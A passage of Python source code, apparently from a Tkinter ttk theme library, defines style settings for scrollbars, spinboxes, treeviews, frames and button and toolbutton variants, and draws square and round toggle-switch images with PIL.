self._create_scrollbar_images() self.settings.update({ 'Vertical.Scrollbar.trough': { 'element create': ('from', 'alt')}, 'Vertical.Scrollbar.thumb': { 'element create': ('from', 'alt')}, 'Vertical.Scrollbar.uparrow': { 'element create': ('image', self.theme_images['vsup'])}, 'Vertical.Scrollbar.downarrow': { 'element create': ('image', self.theme_images['vsdown'])}, 'Horizontal.Scrollbar.trough': { 'element create': ('from', 'alt')}, 'Horizontal.Scrollbar.thumb': { 'element create': ('from', 'alt')}, 'Horizontal.Scrollbar.leftarrow': { 'element create': ('image', self.theme_images['hsleft'])}, 'Horizontal.Scrollbar.rightarrow': { 'element create': ('image', self.theme_images['hsright'])}, 'TScrollbar': { 'configure': { 'troughrelief': 'flat', 'relief': 'flat', 'troughborderwidth': 2, 'troughcolor': Colors.update_hsv(self.theme.colors.bg, vd=-0.05), 'background': Colors.update_hsv(self.theme.colors.bg, vd=-0.15) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.selectbg, vd=0.25, sd=-0.1), 'width': 16}, 'map': { 'background': [ ('pressed', Colors.update_hsv(self.theme.colors.bg, vd=-0.35) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.selectbg, vd=0.05)), ('active', Colors.update_hsv(self.theme.colors.bg, vd=-0.25) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.selectbg, vd=0.15))]}}}) def _style_spinbox(self): """Create style configuration for ttk spinbox: *ttk.Spinbox* This widget uses elements from the *default* and *clam* theme to create the widget layout. For dark themes,the spinbox.field is created from the *default* theme element because the background color shines through the corners of the widget when the primary theme background color is dark. The options available in this widget include: - Spinbox.field: bordercolor, lightcolor, darkcolor, fieldbackground - spinbox.uparrow: background, relief, borderwidth, arrowcolor, arrowsize - spinbox.downarrow: background, relief, borderwidth, arrowcolor, arrowsize - spinbox.padding: padding, relief, shiftrelief - spinbox.textarea: font, width """ disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) if self.theme.type == 'dark': self.settings.update({'custom.Spinbox.field': {'element create': ('from', 'default')}}) self.settings.update({ 'Spinbox.uparrow': {'element create': ('from', 'default')}, 'Spinbox.downarrow': {'element create': ('from', 'default')}, 'TSpinbox': { 'layout': [ ('custom.Spinbox.field', {'side': 'top', 'sticky': 'we', 'children': [ ('null', {'side': 'right', 'sticky': '', 'children': [ ('Spinbox.uparrow', {'side': 'top', 'sticky': 'e'}), ('Spinbox.downarrow', {'side': 'bottom', 'sticky': 'e'})]}), ('Spinbox.padding', {'sticky': 'nswe', 'children': [ ('Spinbox.textarea', {'sticky': 'nswe'})]})]})], 'configure': { 'bordercolor': self.theme.colors.border, 'darkcolor': self.theme.colors.inputbg, 'lightcolor': self.theme.colors.inputbg, 'fieldbackground': self.theme.colors.inputbg, 'foreground': self.theme.colors.inputfg, 'borderwidth': 0, 'background': self.theme.colors.inputbg, 'relief': 'flat', 'arrowcolor': self.theme.colors.inputfg, 'arrowsize': 14, 'padding': (10, 5) }, 'map': { 'foreground': [ ('disabled', disabled_fg)], 'bordercolor': [ ('focus !disabled', self.theme.colors.primary), ('hover !disabled', self.theme.colors.bg)], 'lightcolor': [ ('focus !disabled', self.theme.colors.primary), ('hover !disabled', self.theme.colors.primary)], 'darkcolor': [ ('focus !disabled', self.theme.colors.primary), ('hover !disabled', self.theme.colors.primary)], 'arrowcolor': [ ('disabled !disabled', disabled_fg), ('pressed !disabled', self.theme.colors.primary), ('focus !disabled', self.theme.colors.inputfg), ('hover !disabled', self.theme.colors.inputfg)]}}}) for color in self.theme.colors: self.settings.update({ f'{color}.TSpinbox': { 'map': { 'foreground': [ ('disabled', disabled_fg)], 'bordercolor': [ ('focus !disabled', self.theme.colors.get(color)), ('hover !disabled', self.theme.colors.get(color))], 'arrowcolor': [ ('disabled !disabled', disabled_fg), ('pressed !disabled', self.theme.colors.get(color)), ('hover !disabled', self.theme.colors.inputfg)], 'lightcolor': [ ('focus !disabled', self.theme.colors.get(color))], 'darkcolor': [ ('focus !disabled', self.theme.colors.get(color))]}}}) def _style_treeview(self): """Create style configuration for ttk treeview: *ttk.Treeview*. This widget uses elements from the *alt* and *clam* theme to create the widget layout. The options available in this widget include: Treeview: - Treeview.field: bordercolor, lightcolor, darkcolor, fieldbackground - Treeview.padding: padding, relief, shiftrelief - Treeview.treearea Item: - Treeitem.padding: padding, relief, shiftrelief - Treeitem.indicator: foreground, diameter, indicatormargins - Treeitem.image: image, stipple, background - Treeitem.focus: focuscolor, focusthickness - Treeitem.text: text, font, foreground, underline, width, anchor, justify, wraplength, embossed Heading: - Treeheading.cell: background, rownumber - Treeheading.border: bordercolor, lightcolor, darkcolor, relief, borderwidth - Treeheading.padding: padding, relief, shiftrelief - Treeheading.image: image, stipple, background - Treeheading.text: text, font, foreground, underline, width, anchor, justify, wraplength, embossed Cell: - Treedata.padding: padding, relief, shiftrelief - Treeitem.text: text, font, foreground, underline, width, anchor, justify, wraplength, embossed """ disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) self.settings.update({ 'Treeview': { 'layout': [ ('Button.border', {'sticky': 'nswe', 'border': '1', 'children': [ ('Treeview.padding', {'sticky': 'nswe', 'children': [ ('Treeview.treearea', {'sticky': 'nswe'})]})]})], 'configure': { 'background': self.theme.colors.inputbg, 'foreground': self.theme.colors.inputfg, 'bordercolor': self.theme.colors.bg, 'lightcolor': self.theme.colors.border, 'darkcolor': self.theme.colors.border, 'relief': 'raised' if self.theme.type == 'light' else 'flat', 'padding': 0 if self.theme.type == 'light' else -2 }, 'map': { 'background': [ ('selected', self.theme.colors.selectbg)], 'foreground': [ ('disabled', disabled_fg), ('selected', self.theme.colors.selectfg)]}}, 'Treeview.Heading': { 'configure': { 'background': self.theme.colors.primary, 'foreground': self.theme.colors.selectfg, 'relief': 'flat', 'padding': 5}}, 'Treeitem.indicator': {'element create': ('from', 'alt')}}) for color in self.theme.colors: self.settings.update({ f'{color}.Treeview.Heading': { 'configure': { 'background': self.theme.colors.get(color)}, 'map': { 'foreground': [ ('disabled', disabled_fg)], 'bordercolor': [ ('focus !disabled', self.theme.colors.get(color))]}}}) def _style_frame(self): """Create style configuration for ttk frame: *ttk.Frame* The options available in this widget include: - Frame.border: bordercolor, lightcolor, darkcolor, relief, borderwidth """ self.settings.update({ 'TFrame': {'configure': {'background': self.theme.colors.bg}}}) for color in self.theme.colors: self.settings.update({ f'{color}.TFrame': {'configure': {'background': self.theme.colors.get(color)}}}) def _style_solid_buttons(self): """Apply a solid color style to ttk button: *ttk.Button* The options available in this widget include: - Button.border: bordercolor, lightcolor, darkcolor, relief, borderwidth - Button.focus: focuscolor, focusthickness - Button.padding: padding, relief, shiftrelief - Button.label: compound, space, text, font, foreground, underline, width, anchor, justify, wraplength, embossed, image, stipple, background """ # disabled settings disabled_fg = self.theme.colors.inputfg disabled_bg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) # pressed and hover settings pressed_vd = -0.2 hover_vd = -0.1 self.settings.update({ 'TButton': { 'configure': { 'foreground': self.theme.colors.selectfg, 'background': self.theme.colors.primary, 'bordercolor': self.theme.colors.primary, 'darkcolor': self.theme.colors.primary, 'lightcolor': self.theme.colors.primary, 'font': self.theme.font, 'anchor': 'center', 'relief': 'raised', 'focusthickness': 0, 'focuscolor': '', 'padding': (10, 5)}, # TODO should I remove default padding? I can also use: width: -12 to set a minimum width 'map': { 'foreground': [ ('disabled', disabled_fg)], 'background': [ ('disabled', disabled_bg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.primary, vd=hover_vd))], 'bordercolor': [ ('disabled', disabled_bg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.primary, vd=hover_vd))], 'darkcolor': [ ('disabled', disabled_bg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.primary, vd=hover_vd))], 'lightcolor': [ ('disabled', disabled_bg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.primary, vd=hover_vd))]}}}) for color in self.theme.colors: self.settings.update({ f'{color}.TButton': { 'configure': { 'foreground': self.theme.colors.selectfg, 'background': self.theme.colors.get(color), 'bordercolor': self.theme.colors.get(color), 'darkcolor': self.theme.colors.get(color), 'lightcolor': self.theme.colors.get(color), 'relief': 'raised', 'focusthickness': 0, 'focuscolor': '', 'padding': (10, 5)}, 'map': { 'foreground': [ ('disabled', disabled_fg)], 'background': [ ('disabled', disabled_bg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=hover_vd))], 'bordercolor': [ ('disabled', disabled_bg), ('hover !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=hover_vd))], 'darkcolor': [ ('disabled', disabled_bg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=hover_vd))], 'lightcolor': [ ('disabled', disabled_bg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=hover_vd))]}}}) def _style_outline_buttons(self): """Apply an outline style to ttk button: *ttk.Button*. This button has a solid button look on focus and hover. The options available in this widget include: - Button.border: bordercolor, lightcolor, darkcolor, relief, borderwidth - Button.focus: focuscolor, focusthickness - Button.padding: padding, relief, shiftrelief - Button.label: compound, space, text, font, foreground, underline, width, anchor, justify, wraplength, embossed, image, stipple, background """ # disabled settings disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) # pressed and hover settings pressed_vd = -0.10 self.settings.update({ 'Outline.TButton': { 'configure': { 'foreground': self.theme.colors.primary, 'background': self.theme.colors.bg, 'bordercolor': self.theme.colors.primary, 'darkcolor': self.theme.colors.bg, 'lightcolor': self.theme.colors.bg, 'relief': 'raised', 'font': self.theme.font, 'focusthickness': 0, 'focuscolor': '', 'padding': (10, 5)}, 'map': { 'foreground': [ ('disabled', disabled_fg), ('pressed !disabled', self.theme.colors.selectfg), ('hover !disabled', self.theme.colors.selectfg)], 'background': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', self.theme.colors.primary)], 'bordercolor': [ ('disabled', disabled_fg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', self.theme.colors.primary)], 'darkcolor': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', self.theme.colors.primary)], 'lightcolor': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', self.theme.colors.primary)]}}}) for color in self.theme.colors: self.settings.update({ f'{color}.Outline.TButton': { 'configure': { 'foreground': self.theme.colors.get(color), 'background': self.theme.colors.bg, 'bordercolor': self.theme.colors.get(color), 'darkcolor': self.theme.colors.bg, 'lightcolor': self.theme.colors.bg, 'relief': 'raised', 'focusthickness': 0, 'focuscolor': '', 'padding': (10, 5)}, 'map': { 'foreground': [ ('disabled', disabled_fg), ('pressed !disabled', self.theme.colors.selectfg), ('hover !disabled', self.theme.colors.selectfg)], 'background': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', self.theme.colors.get(color))], 'bordercolor': [ ('disabled', disabled_fg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', self.theme.colors.get(color))], 'darkcolor': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', self.theme.colors.get(color))], 'lightcolor': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', self.theme.colors.get(color))]}}}) def _style_link_buttons(self): """Apply a solid color style to ttk button: *ttk.Button* The options available in this widget include: - Button.border: bordercolor, lightcolor, darkcolor, relief, borderwidth - Button.focus: focuscolor, focusthickness - Button.padding: padding, relief, shiftrelief - Button.label: compound, space, text, font, foreground, underline, width, anchor, justify, wraplength, embossed, image, stipple, background """ # disabled settings disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) # pressed and hover settings pressed_vd = 0 hover_vd = 0 self.settings.update({ 'Link.TButton': { 'configure': { 'foreground': self.theme.colors.fg, 'background': self.theme.colors.bg, 'bordercolor': self.theme.colors.bg, 'darkcolor': self.theme.colors.bg, 'lightcolor': self.theme.colors.bg, 'relief': 'raised', 'font': self.theme.font, 'focusthickness': 0, 'focuscolor': '', 'padding': (10, 5)}, 'map': { 'foreground': [ ('disabled', disabled_fg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.info, vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.info, vd=hover_vd))], 'shiftrelief': [ ('pressed !disabled', -1)], 'background': [ ('pressed !disabled', self.theme.colors.bg), ('hover !disabled', self.theme.colors.bg)], 'bordercolor': [ ('disabled', disabled_fg), ('pressed !disabled', self.theme.colors.bg), ('hover !disabled', self.theme.colors.bg)], 'darkcolor': [ ('pressed !disabled', self.theme.colors.bg), ('hover !disabled', self.theme.colors.bg)], 'lightcolor': [ ('pressed !disabled', self.theme.colors.bg), ('hover !disabled', self.theme.colors.bg)]}}}) for color in self.theme.colors: self.settings.update({ f'{color}.Link.TButton': { 'configure': { 'foreground': self.theme.colors.get(color), 'background': self.theme.colors.bg, 'bordercolor': self.theme.colors.bg, 'darkcolor': self.theme.colors.bg, 'lightcolor': self.theme.colors.bg, 'relief': 'raised', 'font': self.theme.font, 'focusthickness': 0, 'focuscolor': '', 'padding': (10, 5)}, 'map': { 'foreground': [ ('disabled', disabled_fg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.info, vd=pressed_vd)), ('hover !disabled', Colors.update_hsv(self.theme.colors.info, vd=hover_vd))], 'shiftrelief': [ ('pressed !disabled', -1)], 'background': [ ('pressed !disabled', self.theme.colors.bg), ('hover !disabled', self.theme.colors.bg)], 'bordercolor': [ ('disabled', disabled_fg), ('pressed !disabled', self.theme.colors.bg), ('hover !disabled', self.theme.colors.bg)], 'darkcolor': [ ('pressed !disabled', self.theme.colors.bg), ('hover !disabled', self.theme.colors.bg)], 'lightcolor': [ ('pressed !disabled', self.theme.colors.bg), ('hover !disabled', self.theme.colors.bg)]}}}) def _create_squaretoggle_image(self, colorname): """Create a set of images for the square toggle button and return as ``PhotoImage`` Args: colorname (str): the color label assigned to the colors property Returns: Tuple[PhotoImage]: a tuple of images (toggle_on, toggle_off, toggle_disabled) """ prime_color = self.theme.colors.get(colorname) on_border = prime_color on_indicator = prime_color on_fill = self.theme.colors.bg off_border = self.theme.colors.selectbg if self.theme.type == 'light' else self.theme.colors.inputbg off_indicator = self.theme.colors.selectbg if self.theme.type == 'light' else self.theme.colors.inputbg off_fill = self.theme.colors.bg disabled_fill = self.theme.colors.bg disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) toggle_off = Image.new('RGBA', (226, 130)) draw = ImageDraw.Draw(toggle_off) draw.rectangle([1, 1, 225, 129], outline=off_border, width=6, fill=off_fill) draw.rectangle([18, 18, 110, 110], fill=off_indicator) toggle_on = Image.new('RGBA', (226, 130)) draw = ImageDraw.Draw(toggle_on) draw.rectangle([1, 1, 225, 129], outline=on_border, width=6, fill=on_fill) draw.rectangle([18, 18, 110, 110], fill=on_indicator) toggle_on = toggle_on.transpose(Image.ROTATE_180) toggle_disabled = Image.new('RGBA', (226, 130)) draw = ImageDraw.Draw(toggle_disabled) draw.rectangle([1, 1, 225, 129], outline=disabled_fg, width=6) draw.rectangle([18, 18, 110, 110], fill=disabled_fg) images = {} images[f'{colorname}_squaretoggle_on'] = ImageTk.PhotoImage(toggle_on.resize((24, 15), Image.LANCZOS)) images[f'{colorname}_squaretoggle_off'] = ImageTk.PhotoImage(toggle_off.resize((24, 15), Image.LANCZOS)) images[f'{colorname}_squaretoggle_disabled'] = ImageTk.PhotoImage( toggle_disabled.resize((24, 15), Image.LANCZOS)) return images def _create_roundtoggle_image(self, colorname): """Create a set of images for the rounded toggle button and return as ``PhotoImage`` Args: colorname (str): the color label assigned to the colors property Returns: Tuple[PhotoImage] """ prime_color = self.theme.colors.get(colorname) on_border = prime_color on_indicator = self.theme.colors.selectfg on_fill = prime_color off_border = self.theme.colors.selectbg if self.theme.type == 'light' else self.theme.colors.inputbg off_indicator = self.theme.colors.selectbg if self.theme.type == 'light' else self.theme.colors.inputbg off_fill = self.theme.colors.bg disabled_fill = self.theme.colors.bg disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) toggle_off = Image.new('RGBA', (226, 130)) draw = ImageDraw.Draw(toggle_off) draw.rounded_rectangle([1, 1, 225, 129], radius=(128 / 2), outline=off_border, width=6, fill=off_fill) draw.ellipse([20, 18, 112, 110], fill=off_indicator) toggle_on = Image.new('RGBA', (226, 130)) draw = ImageDraw.Draw(toggle_on) draw.rounded_rectangle([1, 1, 225, 129], radius=(128 / 2), outline=on_border, width=6, fill=on_fill) draw.ellipse([20, 18, 112, 110], fill=on_indicator) toggle_on = toggle_on.transpose(Image.ROTATE_180) toggle_disabled = Image.new('RGBA', (226, 130)) draw = ImageDraw.Draw(toggle_disabled) draw.rounded_rectangle([1, 1, 225, 129], radius=(128 / 2), outline=disabled_fg, width=6) draw.ellipse([20, 18, 112, 110], fill=disabled_fg) images = {} images[f'{colorname}_roundtoggle_on'] = ImageTk.PhotoImage(toggle_on.resize((24, 15), Image.LANCZOS)) images[f'{colorname}_roundtoggle_off'] = ImageTk.PhotoImage(toggle_off.resize((24, 15), Image.LANCZOS)) images[f'{colorname}_roundtoggle_disabled'] = ImageTk.PhotoImage( toggle_disabled.resize((24, 15), Image.LANCZOS)) return images def _style_roundtoggle_toolbutton(self): """Apply a rounded toggle switch style to ttk widgets that accept the toolbutton style (for example, a checkbutton: *ttk.Checkbutton*) """ self.theme_images.update(self._create_roundtoggle_image('primary')) disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) # create indicator element self.settings.update({ 'Roundtoggle.Toolbutton.indicator': { 'element create': ('image', self.theme_images['primary_roundtoggle_on'], ('disabled', self.theme_images['primary_roundtoggle_disabled']), ('!selected', self.theme_images['primary_roundtoggle_off']), {'width': 28, 'border': 4, 'sticky': 'w'})}, 'Roundtoggle.Toolbutton': { 'layout': [('Toolbutton.border', {'sticky': 'nswe', 'children': [ ('Toolbutton.padding', {'sticky': 'nswe', 'children': [ ('Roundtoggle.Toolbutton.indicator', {'side': 'left'}), ('Toolbutton.label', {'side': 'left'})]})]})], 'configure': { 'relief': 'flat', 'borderwidth': 0, 'foreground': self.theme.colors.fg}, 'map': { 'foreground': [ ('disabled', disabled_fg), ('hover', self.theme.colors.primary)], 'background': [ ('selected', self.theme.colors.bg), ('!selected', self.theme.colors.bg)]}}}) # color variations for color in self.theme.colors: self.theme_images.update(self._create_roundtoggle_image(color)) # create indicator element self.settings.update({ f'{color}.Roundtoggle.Toolbutton.indicator': { 'element create': ('image', self.theme_images[f'{color}_roundtoggle_on'], ('disabled', self.theme_images[f'{color}_roundtoggle_disabled']), ('!selected', self.theme_images[f'{color}_roundtoggle_off']), {'width': 28, 'border': 4, 'sticky': 'w'})}, f'{color}.Roundtoggle.Toolbutton': { 'layout': [('Toolbutton.border', {'sticky': 'nswe', 'children': [ ('Toolbutton.padding', {'sticky': 'nswe', 'children': [ (f'{color}.Roundtoggle.Toolbutton.indicator', {'side': 'left'}), ('Toolbutton.label', {'side': 'left'})]})]})], 'configure': { 'relief': 'flat', 'borderwidth': 0, 'foreground': self.theme.colors.fg}, 'map': { 'foreground': [ ('disabled', disabled_fg), ('hover', self.theme.colors.get(color))], 'background': [ ('selected', self.theme.colors.bg), ('!selected', self.theme.colors.bg)]}}}) def _style_squaretoggle_toolbutton(self): """Apply a square toggle switch style to ttk widgets that accept the toolbutton style (for example, a checkbutton: *ttk.Checkbutton*) """ self.theme_images.update(self._create_squaretoggle_image('primary')) disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) # create indicator element self.settings.update({ 'Squaretoggle.Toolbutton.indicator': { 'element create': ('image', self.theme_images['primary_squaretoggle_on'], ('disabled', self.theme_images['primary_squaretoggle_disabled']), ('!selected', self.theme_images['primary_squaretoggle_off']), {'width': 28, 'border': 4, 'sticky': 'w'})}, 'Squaretoggle.Toolbutton': { 'layout': [('Toolbutton.border', {'sticky': 'nswe', 'children': [ ('Toolbutton.padding', {'sticky': 'nswe', 'children': [ ('Squaretoggle.Toolbutton.indicator', {'side': 'left'}), ('Toolbutton.label', {'side': 'left'})]})]})], 'configure': { 'relief': 'flat', 'borderwidth': 0, 'foreground': self.theme.colors.fg}, 'map': { 'foreground': [ ('disabled', disabled_fg), ('hover', self.theme.colors.primary)], 'background': [ ('selected', self.theme.colors.bg), ('!selected', self.theme.colors.bg)]}}}) # color variations for color in self.theme.colors: self.theme_images.update(self._create_squaretoggle_image(color)) # create indicator element self.settings.update({ f'{color}.Squaretoggle.Toolbutton.indicator': { 'element create': ('image', self.theme_images[f'{color}_squaretoggle_on'], ('disabled', self.theme_images[f'{color}_squaretoggle_disabled']), ('!selected', self.theme_images[f'{color}_squaretoggle_off']), {'width': 28, 'border': 4, 'sticky': 'w'})}, f'{color}.Squaretoggle.Toolbutton': { 'layout': [('Toolbutton.border', {'sticky': 'nswe', 'children': [ ('Toolbutton.padding', {'sticky': 'nswe', 'children': [ (f'{color}.Squaretoggle.Toolbutton.indicator', {'side': 'left'}), ('Toolbutton.label', {'side': 'left'})]})]})], 'configure': { 'relief': 'flat', 'borderwidth': 0, 'foreground': self.theme.colors.fg}, 'map': { 'foreground': [ ('disabled', disabled_fg), ('hover', self.theme.colors.get(color))], 'background': [ ('selected', self.theme.colors.bg), ('!selected', self.theme.colors.bg)]}}}) def _style_solid_toolbutton(self): """Apply a solid color style to ttk widgets that use the Toolbutton style (for example, a checkbutton: *ttk.Checkbutton*) The options available in this widget include: - Button.border: bordercolor, lightcolor, darkcolor, relief, borderwidth - Button.focus: focuscolor, focusthickness - Button.padding: padding, relief, shiftrelief - Button.label: compound, space, text, font, foreground, underline, width, anchor, justify, wraplength, embossed, image, stipple, background """ # disabled settings disabled_fg = self.theme.colors.inputfg disabled_bg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) # pressed and hover settings pressed_vd = -0.2 hover_vd = -0.1 normal_sd = -0.5 normal_vd = 0.1 self.settings.update({ 'Toolbutton': { 'configure': { 'foreground': self.theme.colors.selectfg, 'background': Colors.update_hsv(self.theme.colors.primary, sd=normal_sd, vd=normal_vd), 'bordercolor': Colors.update_hsv(self.theme.colors.primary, sd=normal_sd, vd=normal_vd), 'darkcolor': Colors.update_hsv(self.theme.colors.primary, sd=normal_sd, vd=normal_vd), 'lightcolor': Colors.update_hsv(self.theme.colors.primary, sd=normal_sd, vd=normal_vd), 'font': self.theme.font, 'anchor': 'center', 'relief': 'raised', 'focusthickness': 0, 'focuscolor': '', 'padding': (10, 5)}, 'map': { 'foreground': [ ('disabled', disabled_fg)], 'background': [ ('disabled', disabled_bg), ('pressed !disabled', self.theme.colors.primary), ('selected !disabled', self.theme.colors.primary), ('hover !disabled', self.theme.colors.primary)], 'bordercolor': [ ('disabled', disabled_bg), ('selected !disabled', self.theme.colors.primary), ('pressed !disabled', self.theme.colors.primary), ('hover !disabled', self.theme.colors.primary)], 'darkcolor': [ ('disabled', disabled_bg), ('pressed !disabled', self.theme.colors.primary), ('selected !disabled', self.theme.colors.primary), ('hover !disabled', self.theme.colors.primary)], 'lightcolor': [ ('disabled', disabled_bg), ('pressed !disabled', self.theme.colors.primary), ('selected !disabled', self.theme.colors.primary), ('hover !disabled', self.theme.colors.primary)]}}}) for color in self.theme.colors: self.settings.update({ f'{color}.Toolbutton': { 'configure': { 'foreground': self.theme.colors.selectfg, 'background': Colors.update_hsv(self.theme.colors.get(color), sd=normal_sd, vd=normal_vd), 'bordercolor': Colors.update_hsv(self.theme.colors.get(color), sd=normal_sd, vd=normal_vd), 'darkcolor': Colors.update_hsv(self.theme.colors.get(color), sd=normal_sd, vd=normal_vd), 'lightcolor': Colors.update_hsv(self.theme.colors.get(color), sd=normal_sd, vd=normal_vd), 'relief': 'raised', 'focusthickness': 0, 'focuscolor': '', 'padding': (10, 5)}, 'map': { 'foreground': [ ('disabled', disabled_fg)], 'background': [ ('disabled', disabled_bg), ('pressed !disabled', self.theme.colors.get(color)), ('selected !disabled', self.theme.colors.get(color)), ('hover !disabled', self.theme.colors.get(color))], 'bordercolor': [ ('disabled', disabled_bg), ('pressed !disabled', self.theme.colors.get(color)), ('selected !disabled', self.theme.colors.get(color)), ('hover !disabled', self.theme.colors.get(color))], 'darkcolor': [ ('disabled', disabled_bg), ('pressed !disabled', self.theme.colors.get(color)), ('selected !disabled', self.theme.colors.get(color)), ('hover !disabled', self.theme.colors.get(color))], 'lightcolor': [ ('disabled', disabled_bg), ('pressed !disabled', self.theme.colors.get(color)), ('selected !disabled', self.theme.colors.get(color)), ('hover !disabled', self.theme.colors.get(color))]}}}) def _style_outline_toolbutton(self): """Apply an outline style to ttk widgets that use the Toolbutton style (for example, a checkbutton: *ttk.Checkbutton*). This button has a solid button look on focus and hover. The options available in this widget include: - Button.border: bordercolor, lightcolor, darkcolor, relief, borderwidth - Button.focus: focuscolor, focusthickness - Button.padding: padding, relief, shiftrelief - Button.label: compound, space, text, font, foreground, underline, width, anchor, justify, wraplength, embossed, image, stipple, background """ # disabled settings disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) # pressed and hover settings pressed_vd = -0.10 self.settings.update({ 'Outline.Toolbutton': { 'configure': { 'foreground': self.theme.colors.primary, 'background': self.theme.colors.bg, 'bordercolor': self.theme.colors.border, 'darkcolor': self.theme.colors.bg, 'lightcolor': self.theme.colors.bg, 'relief': 'raised', 'font': self.theme.font, 'focusthickness': 0, 'focuscolor': '', 'borderwidth': 1, 'padding': (10, 5)}, 'map': { 'foreground': [ ('disabled', disabled_fg), ('pressed !disabled', self.theme.colors.selectfg), ('selected !disabled', self.theme.colors.selectfg), ('hover !disabled', self.theme.colors.selectfg)], 'background': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('selected !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', self.theme.colors.primary)], 'bordercolor': [ ('disabled', disabled_fg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('selected !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', self.theme.colors.primary)], 'darkcolor': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('selected !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', self.theme.colors.primary)], 'lightcolor': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('selected !disabled', Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), ('hover !disabled', self.theme.colors.primary)]}}}) for color in self.theme.colors: self.settings.update({ f'{color}.Outline.Toolbutton': { 'configure': { 'foreground': self.theme.colors.get(color), 'background': self.theme.colors.bg, 'bordercolor': self.theme.colors.border, 'darkcolor': self.theme.colors.bg, 'lightcolor': self.theme.colors.bg, 'relief': 'raised', 'focusthickness': 0, 'focuscolor': '', 'borderwidth': 1, 'padding': (10, 5)}, 'map': { 'foreground': [ ('disabled', disabled_fg), ('pressed !disabled', self.theme.colors.selectfg), ('selected !disabled', self.theme.colors.selectfg), ('hover !disabled', self.theme.colors.selectfg)], 'background': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('selected !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', self.theme.colors.get(color))], 'bordercolor': [ ('disabled', disabled_fg), ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('selected !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', self.theme.colors.get(color))], 'darkcolor': [ ('pressed !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('selected !disabled', Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), ('hover !disabled', 